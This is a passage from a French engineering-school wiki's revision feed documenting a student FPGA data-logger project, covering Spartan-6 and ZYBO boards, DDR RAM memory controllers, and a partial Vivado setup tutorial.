|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]&lt;br /&gt;
====ZYBO====&lt;br /&gt;
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions et argumentaire===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
m°)&amp;lt;br&amp;gt;&lt;br /&gt;
n°)&amp;lt;br&amp;gt;&lt;br /&gt;
o°)&amp;lt;br&amp;gt;&lt;br /&gt;
p°)&amp;lt;br&amp;gt;&lt;br /&gt;
q°)&amp;lt;br&amp;gt;&lt;br /&gt;
r°)&amp;lt;br&amp;gt;&lt;br /&gt;
s°)&amp;lt;br&amp;gt;&lt;br /&gt;
t°)&amp;lt;br&amp;gt;&lt;br /&gt;
u°)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Fichiers supplémentaires==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR1&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27514</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27514"/>
				<updated>2016-02-22T09:16:28Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* ZYBO */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
